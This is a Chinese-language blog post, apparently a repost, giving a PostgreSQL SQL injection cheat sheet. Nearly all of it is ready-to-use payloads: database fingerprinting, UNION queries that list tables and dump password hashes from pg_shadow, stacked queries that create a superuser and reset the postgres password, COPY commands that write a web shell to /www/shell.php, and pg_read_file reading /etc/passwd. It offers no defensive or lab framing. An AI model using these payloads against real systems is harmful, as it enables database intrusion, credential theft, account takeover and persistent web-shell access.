码迷,mamicode.com
首页 > 数据库 > 详细

Sql注入之postgresql

时间:2020-02-18 16:29:13      阅读:113      评论:0      收藏:0      [点我收藏+]

标签:har   lte   l数据库   用户密码   char   oracle   use   database   获得   

Sql注入之Postgresql

介绍

Postgresql是一款中小型数据库,经常与PHP一起使用。

数据库判断

+and+1::int=1-

返回正常即为Postgresql数据库

常用注入语句

  • 数据库版本
+and+1=cast(version() as int)-
  • 判断当前用户
and 1=cast(user||123 as int)
  • 判断字段数
order by

联合注入

用法和oracle相似

  • 数据库版本信息
union select null,version(),null 
  • 用户权限
union select null,current_schema(),null
  • 数据库名称
union select null,current_database(),null
  • 表名
union select null,relname,null from pg_stat_user_tables
  • 列名
union select null,column_name,null from information_schema.columns where table_name='表名'
  • 查看数据库账号密码
union select null,usename|char(124)|passwd,null from pg_shadow

||连接字符串

char(124)为|

获得结果例子:admin|password

  • 创建用户
;create user test with superuser password 'test'-- 
  • 修改postgres的用户密码为pass
;alter user postgres with password 'pass'

写shell

  • 方法一

依次执行如下三个命令

;create  table shell(shell text not null);
;insert into shell values(一句话木马);
;copy shell(shell) to '/www/shell.php';

这样就会将一句话木马写到,www目录下的shell.php文件中

  • 方法二
;copy (select '一句话木马') to '/www/shell/php';

读文件

pg_read_file('/etc/passwd',1,20)    #读文件前20行

Sql注入之postgresql

标签:har   lte   l数据库   用户密码   char   oracle   use   database   获得   

原文地址:https://www.cnblogs.com/Wuser/p/12326629.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!